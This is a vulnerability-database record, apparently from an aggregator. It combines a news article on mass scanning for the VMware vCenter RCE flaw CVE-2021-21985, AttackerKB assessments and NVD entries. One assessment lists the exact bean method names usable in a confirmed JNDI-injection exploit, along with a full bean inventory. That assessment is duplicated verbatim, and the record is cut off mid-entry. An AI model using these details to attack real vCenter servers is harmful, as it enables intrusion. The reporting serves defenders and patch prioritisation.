{"id": "THN:71D3B9379166BDEEAEC59EE5E145C193", "type": "thn", "bulletinFamily": "info", "title": "ALERT: Critical RCE Bug in VMware vCenter Server Under Active Attack", "description": "[](<https://thehackernews.com/images/-dg9ULZEsvBw/YLtYdH9lzzI/AAAAAAAACwY/7b0FWkEi2AgXUuJHgibePqXxv9PEVVCsgCLcBGAsYHQ/s0/VMware-vSphere.jpg>)\n\nMalicious actors are actively mass scanning the internet for vulnerable VMware vCenter servers that are unpatched against a critical remote code execution flaw, which the company addressed late last month.\n\nThe ongoing activity was detected by Bad Packets on June 3 and corroborated [yesterday](<https://twitter.com/GossiTheDog/status/1397315303978250242/photo/2>) by security researcher Kevin Beaumont. \"Mass scanning activity detected from 104.40.252.159 checking for VMware vSphere hosts vulnerable to remote code execution,\" [tweeted](<https://twitter.com/bad_packets/status/1400519385194766336>) Troy Mursch, chief research officer at Bad Packets.\n\n[](<https://go.thn.li/1-728-6> \"Stack Overflow Teams\" )\n\nThe development follows the publication of a [proof-of-concept](<https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/>) (PoC) RCE exploit code targeting the VMware vCenter bug.\n\nTracked as [CVE-2021-21985](<https://thehackernews.com/2021/05/critical-rce-vulnerability-found-in.html>) (CVSS score 9.8), the issue is a consequence of a lack of input validation in the Virtual SAN (vSAN) Health Check plug-in, which could be abused by an attacker to execute commands with unrestricted privileges on the underlying operating system that hosts the vCenter Server.\n\n[](<https://thehackernews.com/images/-2asxg2RGcVA/YLtXChb2ejI/AAAAAAAACwQ/ZlUYBOtRqGk1olUdewgacDkLMEk-xHXBwCLcBGAsYHQ/s0/poc.jpg>)\n\nAlthough the flaw was rectified by VMware on May 25, the company [strongly urged](<https://thehackernews.com/2021/05/critical-rce-vulnerability-found-in.html>) its customers to apply the emergency change immediately. \"In this era of ransomware it is safest to assume that an attacker is already inside the network somewhere, on a desktop and perhaps even in control of a user account, which is why we strongly recommend declaring an emergency change and patching as soon as possible,\" VMware said.\n\n[](<https://thehackernews.com/images/-gksBmuc98pQ/YLtWoqAxynI/AAAAAAAACwI/Xo8VvglhuhAdPffdp8I8DtnckVZbSzIKwCLcBGAsYHQ/s0/shodan.jpg>)\n\nThis is not the first time adversaries have opportunistically mass scanned the internet for vulnerable VMware vCenter servers. A similar remote code execution vulnerability ([CVE-2021-21972](<https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html>)) that was patched by VMware in February became the [target of cyber threat actors](<https://twitter.com/bad_packets/status/1364661586070102016>) attempting to exploit and take control of unpatched systems.\n\n[](<https://go.thn.li/auth_728> \"Enterprise Password Management\" )\n\nAt least [14,858 vCenter servers](<https://twitter.com/bad_packets/status/1364672466707128320>) were found reachable over the internet at the time, according to Bad Packets and Binary Edge.\n\nWhat's more, a new research from Cisco Talos earlier this week found that the threat actor behind the Python-based [Necro](<https://thehackernews.com/2021/06/necro-python-malware-upgrades-with-new.html>) bot wormed its way into exposed VMware vCenter servers by abusing the same security weakness to boost the malware's infection propagation capabilities.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "published": "2021-06-05T10:58:00", "modified": "2021-06-07T05:04:26", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html", "reporter": "The Hacker News", "references": [], "cvelist": ["CVE-2021-21972", "CVE-2021-21985"], "immutableFields": [], "lastseen": "2021-06-07T06:35:57", "viewCount": 154, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:462BB7BE-5D1C-4847-AE1A-07B008F34C9D", "AKB:B3E0B6D7-814D-4DB3-BA2B-8C2F79B7BE7B"]}, {"type": "cve", "idList": ["CVE-2021-21985", "CVE-2021-21972"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7F5516EB3D3811BAE47D74129049D93F", "RAPID7BLOG:B253581ECA2FCB1FA25D45B69A6D7AE5", "RAPID7BLOG:7103223D85FA1742C265703CC8D3EE7C"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:7A0E7E3752712070F3E75CEF26AC2CC0"]}, {"type": "thn", "idList": ["THN:87AE96960D76D6C84D9CF86C2DDB837C", "THN:1ED1BB1B7B192353E154FB0B02F314F4", "THN:FF56343C15BACA1C1CE83A105EFD7F77", "THN:4F010A66018968CA6DAA0432C00DAE10"]}, {"type": "cisa", "idList": ["CISA:177CDBFAB8460E0C0E46679B383C5C2F", "CISA:CB32DB4C2EA92462F387E1DA6C08F57E"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:163268", "PACKETSTORM:161590", "PACKETSTORM:161695", "PACKETSTORM:161527"]}, {"type": "exploitdb", "idList": ["EDB-ID:50056", "EDB-ID:49602"]}, {"type": "threatpost", "idList": ["THREATPOST:DAA85537BDD9022F1F98B328EFF7B7B9", "THREATPOST:2243706D17F2A1E930A00F49D8E30720"]}, {"type": "nessus", "idList": ["VMWARE_VCENTER_VMSA-2021-0010.NASL", "VMWARE_VCENTER_VMSA-2021-0002.NASL"]}, {"type": "securelist", "idList": ["SECURELIST:20C7BC6E3C43CD3D939A2E3EAE01D4C1"]}], "modified": "2021-06-07T06:35:57", "rev": 2}, "score": {"value": 5.7, "vector": "NONE", "modified": "2021-06-07T06:35:57", "rev": 2}, "vulnersScore": 5.7}}

{"attackerkb": [{"lastseen": "2021-06-09T00:17:05", "bulletinFamily": "info", "cvelist": ["CVE-2021-21972", "CVE-2021-21985"], "description": "The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.\n\n \n**Recent assessments:** \n \n**wvu-r7** at May 28, 2021 10:35pm UTC reported:\n\nDocked exploitability a point because a valid bean and method must be known. See the [Rapid7 analysis](<https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis>) for more context.\n\n**ETA:** Cat\u2019s out of the bag. [JNDI injection PoC.](<https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/>) I\u2019ve confirmed it works. Here are all the [beans](<https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/beans/factory/config/MethodInvokingFactoryBean.html>) you can use for this:\n \n \n vsanCapabilityUtils_setVsanCapabilityCacheManager\n vsanFormatUtils_setUserSessionService\n vsanProviderUtils_setVmodlHelper\n vsanProviderUtils_setVsanServiceFactory\n vsanQueryUtil_setDataService\n vsanUtils_setMessageBundle\n vsphereHealthProviderUtils_setVsphereHealthServiceFactory\n \n\nFor reference, here are all the registered beans in my environment:\n \n \n advancedOptionsService\n capabilityPropertyProviderImpl\n ceipService\n clusterDpConfigService\n cnManager\n computeInventoryService\n configureClusterService\n configureStretchedClusterService\n configureVsanClusterMutationProviderImpl\n connectionRetention\n dataAccessController\n dataService\n dataServiceExtensionRegistry\n datacenterInventoryService\n diskGroupMutationService\n diskManagementService\n dpClient\n dpFactory\n encryptionMutationProvider\n encryptionPropertyProvider\n execFactory\n execSettings\n guardRailPropertyProviderAdapter\n hciClusterService\n healthCheckDelay\n healthCheckTimeout\n legacyVsanObjectVersionProviderImpl\n localizedMessageBundle\n lookupSvcClient\n lsFactory\n lsLocator\n multiVmRestoreBacking\n mvcContentNegotiationManager\n mvcCorsConfigurations\n mvcHandlerMappingIntrospector\n mvcUriComponentsContributor\n networkInventoryService\n networkIpConfigProvider\n obfuscationController\n obfuscationService\n objectReferenceService\n org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#0\n org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#1\n org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#2\n org.springframework.context.annotation.internalAsyncAnnotationProcessor\n org.springframework.context.annotation.internalAutowiredAnnotationProcessor\n org.springframework.context.annotation.internalCommonAnnotationProcessor\n org.springframework.context.annotation.internalConfigurationAnnotationProcessor\n org.springframework.context.annotation.internalPersistenceAnnotationProcessor\n org.springframework.context.annotation.internalRequiredAnnotationProcessor\n org.springframework.context.annotation.internalScheduledAnnotationProcessor\n org.springframework.context.event.internalEventListenerFactory\n org.springframework.context.event.internalEventListenerProcessor\n org.springframework.format.support.FormattingConversionServiceFactoryBean#0\n org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping\n org.springframework.web.servlet.handler.MappedInterceptor#0\n org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter\n org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter\n org.springframework.web.servlet.mvc.annotation.ResponseStatusExceptionResolver#0\n org.springframework.web.servlet.mvc.method.annotation.ExceptionHandlerExceptionResolver#0\n org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter\n org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping\n org.springframework.web.servlet.mvc.support.DefaultHandlerExceptionResolver#0\n org.springframework.web.servlet.view.ContentNegotiatingViewResolver#0\n pbmClient\n pbmDataProviderImpl\n pbmFactory\n permissionService\n physicalDisksService\n proactiveTestsService\n promoteActionController\n proxygenController\n purgeInaccessibleVmSwapObjectsProvider\n restoreWorkflowBacking\n sessionScheduler\n singleVmRestoreBacking\n ssoFactory\n taskService\n updateDbService\n userSessionService\n vcClient\n vcFactory\n vcPropertiesFacade\n virtualObjectsDataProtectionController\n virtualObjectsService\n vlsiSettingsTemplate\n vmConsistencyGroupPropertyProvider\n vmDataProtectionPropertyProviderAdapter\n vmDataProtectionSummaryController\n vmDataProtectionSyncPointsController\n vmDiskPlacementProvider\n vmFolderInventorySerivce\n vmInventoryService\n vmodlContext\n vmodlHelper\n vsanCapabilityCacheManager\n vsanCapabilityUtils_setVsanCapabilityCacheManager\n vsanClusterPropertyProviderAdapter\n vsanClusterPropertyProviderAdapterImpl\n vsanComponentsProviderImpl\n vsanConfigPropertyProviderAdapter\n vsanConfigPropertyProviderAdapterImpl\n vsanConfigService\n vsanDiskMappingsProvider\n vsanDpInventoryHelper\n vsanDpServicePitProvider\n vsanExecutor\n vsanFolderPropertyProviderAdapter\n vsanFolderPropertyProviderAdapterImpl\n vsanFormatUtils_setUserSessionService\n vsanHealthProviderImpl\n vsanHealthServiceMutationProviderImpl\n vsanHostPropertyProviderAdapter\n vsanIscsiInitiatorGroupMutationProviderImpl\n vsanIscsiInitiatorGroupPropertyProviderImpl\n vsanIscsiMutationProviderImpl\n vsanIscsiPropertyProviderImpl\n vsanIscsiTargetDataAdapter\n vsanIscsiTargetDataAdapterImpl\n vsanIscsiTargetMutationProviderImpl\n vsanIscsiTargetPropertyProviderImpl\n vsanMutationProviderImpl\n vsanObjectSystemProvider\n vsanPerfDiagnosticProviderImpl\n vsanPerfMutationProviderImpl\n vsanPerfProviderImpl\n vsanPropertyProviderImpl\n vsanProviderUtils_setVmodlHelper\n vsanProviderUtils_setVsanServiceFactory\n vsanQueryUtil_setDataService\n vsanResyncingComponentsProvider\n vsanResyncingComponentsRetriever\n vsanResyncingIscsiTargetComponentsProvider\n vsanServiceBundleActivator\n vsanServiceFactory\n vsanStretchedClusterMutationProviderImpl\n vsanStretchedClusterPropertyProviderImpl\n vsanSupportMutationProviderImpl\n vsanSupportProviderImpl\n vsanThreadPoolImpl\n vsanUpgradeMutationProviderImpl\n vsanUpgradePropertyProviderAdapter\n vsanUpgradeProviderImpl\n vsanUtils_setMessageBundle\n vsanVirtualDisksDataProvider\n vsanVirtualObjectsProvider\n vsanWorkerThreadFactory\n vsphereHealthProviderUtils_setVsphereHealthServiceFactory\n vsphereHealthServiceFactory\n vsphereHealthThreadPoolImpl\n vumLoginService\n vumPropertyProviderAdapter\n whatIfPropertyProviderAdapter\n whatIfPropertyProviderImpl\n witnessCandidateInventoryService\n witnessHostsProvider\n \n\nNote that `methodInput` is still ~~limited~~ somewhat limited by what `ProxygenSerializer` can deserialize, so the JNDI injection via [static method](<https://docs.oracle.com/javase/tutorial/jndi/ops/lookup.html>) is good for arbitrary method invocation, callback notwithstanding. Jang ([@testanull](<https://twitter.com/testanull>)) [points out](<https://twitter.com/testanull/status/1400724415411748865>) that `TypeConverter` can be leveraged to work around this issue. Jang\u2019s writeup is [here](<https://testbnull.medium.com/a-quick-look-at-cve-2021-21985-vcenter-pre-auth-rce-9ecd459150a5>).\n\n**Update:** A ~~new RCE chain~~ [writeup](<https://buaq.net/go-75544.html>) involving SSRF has been published [by the original researcher].\n\nAssessed Attacker Value: 4**ccondon-r7** at May 26, 2021 5:41pm UTC reported:\n\nDocked exploitability a point because a valid bean and method must be known. See the [Rapid7 analysis](<https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis>) for more context.\n\n**ETA:** Cat\u2019s out of the bag. [JNDI injection PoC.](<https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/>) I\u2019ve confirmed it works. Here are all the [beans](<https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/beans/factory/config/MethodInvokingFactoryBean.html>) you can use for this:\n \n \n vsanCapabilityUtils_setVsanCapabilityCacheManager\n vsanFormatUtils_setUserSessionService\n vsanProviderUtils_setVmodlHelper\n vsanProviderUtils_setVsanServiceFactory\n vsanQueryUtil_setDataService\n vsanUtils_setMessageBundle\n vsphereHealthProviderUtils_setVsphereHealthServiceFactory\n \n\nFor reference, here are all the registered beans in my environment:\n \n \n advancedOptionsService\n capabilityPropertyProviderImpl\n ceipService\n clusterDpConfigService\n cnManager\n computeInventoryService\n configureClusterService\n configureStretchedClusterService\n configureVsanClusterMutationProviderImpl\n connectionRetention\n dataAccessController\n dataService\n dataServiceExtensionRegistry\n datacenterInventoryService\n diskGroupMutationService\n diskManagementService\n dpClient\n dpFactory\n encryptionMutationProvider\n encryptionPropertyProvider\n execFactory\n execSettings\n guardRailPropertyProviderAdapter\n hciClusterService\n healthCheckDelay\n healthCheckTimeout\n legacyVsanObjectVersionProviderImpl\n localizedMessageBundle\n lookupSvcClient\n lsFactory\n lsLocator\n multiVmRestoreBacking\n mvcContentNegotiationManager\n mvcCorsConfigurations\n mvcHandlerMappingIntrospector\n mvcUriComponentsContributor\n networkInventoryService\n networkIpConfigProvider\n obfuscationController\n obfuscationService\n objectReferenceService\n org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#0\n org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#1\n org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#2\n org.springframework.context.annotation.internalAsyncAnnotationProcessor\n org.springframework.context.annotation.internalAutowiredAnnotationProcessor\n org.springframework.context.annotation.internalCommonAnnotationProcessor\n org.springframework.context.annotation.internalConfigurationAnnotationProcessor\n org.springframework.context.annotation.internalPersistenceAnnotationProcessor\n org.springframework.context.annotation.internalRequiredAnnotationProcessor\n org.springframework.context.annotation.internalScheduledAnnotationProcessor\n org.springframework.context.event.internalEventListenerFactory\n org.springframework.context.event.internalEventListenerProcessor\n org.springframework.format.support.FormattingConversionServiceFactoryBean#0\n org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping\n org.springframework.web.servlet.handler.MappedInterceptor#0\n org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter\n org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter\n org.springframework.web.servlet.mvc.annotation.ResponseStatusExceptionResolver#0\n org.springframework.web.servlet.mvc.method.annotation.ExceptionHandlerExceptionResolver#0\n org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter\n org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping\n org.springframework.web.servlet.mvc.support.DefaultHandlerExceptionResolver#0\n org.springframework.web.servlet.view.ContentNegotiatingViewResolver#0\n pbmClient\n pbmDataProviderImpl\n pbmFactory\n permissionService\n physicalDisksService\n proactiveTestsService\n promoteActionController\n proxygenController\n purgeInaccessibleVmSwapObjectsProvider\n restoreWorkflowBacking\n sessionScheduler\n singleVmRestoreBacking\n ssoFactory\n taskService\n updateDbService\n userSessionService\n vcClient\n vcFactory\n vcPropertiesFacade\n virtualObjectsDataProtectionController\n virtualObjectsService\n vlsiSettingsTemplate\n vmConsistencyGroupPropertyProvider\n vmDataProtectionPropertyProviderAdapter\n vmDataProtectionSummaryController\n vmDataProtectionSyncPointsController\n vmDiskPlacementProvider\n vmFolderInventorySerivce\n vmInventoryService\n vmodlContext\n vmodlHelper\n vsanCapabilityCacheManager\n vsanCapabilityUtils_setVsanCapabilityCacheManager\n vsanClusterPropertyProviderAdapter\n vsanClusterPropertyProviderAdapterImpl\n vsanComponentsProviderImpl\n vsanConfigPropertyProviderAdapter\n vsanConfigPropertyProviderAdapterImpl\n vsanConfigService\n vsanDiskMappingsProvider\n vsanDpInventoryHelper\n vsanDpServicePitProvider\n vsanExecutor\n vsanFolderPropertyProviderAdapter\n vsanFolderPropertyProviderAdapterImpl\n vsanFormatUtils_setUserSessionService\n vsanHealthProviderImpl\n vsanHealthServiceMutationProviderImpl\n vsanHostPropertyProviderAdapter\n vsanIscsiInitiatorGroupMutationProviderImpl\n vsanIscsiInitiatorGroupPropertyProviderImpl\n vsanIscsiMutationProviderImpl\n vsanIscsiPropertyProviderImpl\n vsanIscsiTargetDataAdapter\n vsanIscsiTargetDataAdapterImpl\n vsanIscsiTargetMutationProviderImpl\n vsanIscsiTargetPropertyProviderImpl\n vsanMutationProviderImpl\n vsanObjectSystemProvider\n vsanPerfDiagnosticProviderImpl\n vsanPerfMutationProviderImpl\n vsanPerfProviderImpl\n vsanPropertyProviderImpl\n vsanProviderUtils_setVmodlHelper\n vsanProviderUtils_setVsanServiceFactory\n vsanQueryUtil_setDataService\n vsanResyncingComponentsProvider\n vsanResyncingComponentsRetriever\n vsanResyncingIscsiTargetComponentsProvider\n vsanServiceBundleActivator\n vsanServiceFactory\n vsanStretchedClusterMutationProviderImpl\n vsanStretchedClusterPropertyProviderImpl\n vsanSupportMutationProviderImpl\n vsanSupportProviderImpl\n vsanThreadPoolImpl\n vsanUpgradeMutationProviderImpl\n vsanUpgradePropertyProviderAdapter\n vsanUpgradeProviderImpl\n vsanUtils_setMessageBundle\n vsanVirtualDisksDataProvider\n vsanVirtualObjectsProvider\n vsanWorkerThreadFactory\n vsphereHealthProviderUtils_setVsphereHealthServiceFactory\n vsphereHealthServiceFactory\n vsphereHealthThreadPoolImpl\n vumLoginService\n vumPropertyProviderAdapter\n whatIfPropertyProviderAdapter\n whatIfPropertyProviderImpl\n witnessCandidateInventoryService\n witnessHostsProvider\n \n\nNote that `methodInput` is still ~~limited~~ somewhat limited by what `ProxygenSerializer` can deserialize, so the JNDI injection via [static method](<https://docs.oracle.com/javase/tutorial/jndi/ops/lookup.html>) is good for arbitrary method invocation, callback notwithstanding. Jang ([@testanull](<https://twitter.com/testanull>)) [points out](<https://twitter.com/testanull/status/1400724415411748865>) that `TypeConverter` can be leveraged to work around this issue. Jang\u2019s writeup is [here](<https://testbnull.medium.com/a-quick-look-at-cve-2021-21985-vcenter-pre-auth-rce-9ecd459150a5>).\n\n**Update:** A ~~new RCE chain~~ [writeup](<https://buaq.net/go-75544.html>) involving SSRF has been published [by the original researcher].\n\nAssessed Attacker Value: 5 \n\n", "modified": "2021-06-04T00:00:00", "id": "AKB:462BB7BE-5D1C-4847-AE1A-07B008F34C9D", "href": "https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985", "published": "2021-05-26T00:00:00", "type": "attackerkb", "title": "CVE-2021-21985", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-06-24T21:22:09", "bulletinFamily": "info", "cvelist": ["CVE-2021-21972"], "description": "The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).\n\n \n**Recent assessments:** \n \n**ccondon-r7** at February 24, 2021 11:19pm UTC reported:\n\nUpdate March 3: Exploitation in the wild was confirmed over the weekend. See the [Rapid7 analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=assessment#rapid7-analysis>) for more updates.\n\nThere are [reports of opportunistic scanning](<https://twitter.com/bad_packets/status/1364661586070102016>) for vulnerable vCenter Server endpoints and a bunch of PoC that\u2019s made its way to GitHub over the past twelve hours or so. There hasn\u2019t been confirmation of in-the-wild exploitation yet, but it\u2019s hard to imagine that lasting for very long given the enterprise-grade incentives for attackers. As **@wvu-r7** points out in the [Rapid7 analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972#rapid7-analysis>), the update available for folks on vulnerable versions of vCenter Server merely adds authentication, addressing the attack chain rather than resolving the root cause of the vulnerability; I\u2019d be a little surprised if we didn\u2019t see a follow-on CVE at some point for an authentication bypass.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5**wvu-r7** at February 24, 2021 10:11pm UTC reported:\n\nUpdate March 3: Exploitation in the wild was confirmed over the weekend. See the [Rapid7 analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972?referrer=assessment#rapid7-analysis>) for more updates.\n\nThere are [reports of opportunistic scanning](<https://twitter.com/bad_packets/status/1364661586070102016>) for vulnerable vCenter Server endpoints and a bunch of PoC that\u2019s made its way to GitHub over the past twelve hours or so. There hasn\u2019t been confirmation of in-the-wild exploitation yet, but it\u2019s hard to imagine that lasting for very long given the enterprise-grade incentives for attackers. As **@wvu-r7** points out in the [Rapid7 analysis](<https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972#rapid7-analysis>), the update available for folks on vulnerable versions of vCenter Server merely adds authentication, addressing the attack chain rather than resolving the root cause of the vulnerability; I\u2019d be a little surprised if we didn\u2019t see a follow-on CVE at some point for an authentication bypass.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5\n", "modified": "2021-04-05T00:00:00", "id": "AKB:B3E0B6D7-814D-4DB3-BA2B-8C2F79B7BE7B", "href": "https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972", "published": "2021-02-24T00:00:00", "type": "attackerkb", "title": "VMware vSphere Client Unauth Remote Code Execution Vulnerability \u2014 CVE-2021-21972", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2021-06-04T07:38:15", "description": "The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-26T15:15:00", "title": "CVE-2021-21985", "type": "cve", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21985"], "modified": "2021-06-03T14:19:00", "cpe": ["cpe:/a:vmware:vcenter_server:7.0", "cpe:/a:vmware:vcenter_server:6.7", "cpe:/a:vmware:vcenter_server:6.5"], "id": "CVE-2021-21985", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21985", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:-:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u2a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:1c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3m:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u1b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3k:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3n:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3l:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u1d:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:1:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u3j:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:u2:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1e:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:1b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:a:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2b:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.7:u2c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u3:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u1g:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:6.5:u2c:*:*:*:*:*:*", "cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*"]}, {"lastseen": "2021-04-28T13:49:34", "description": "The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 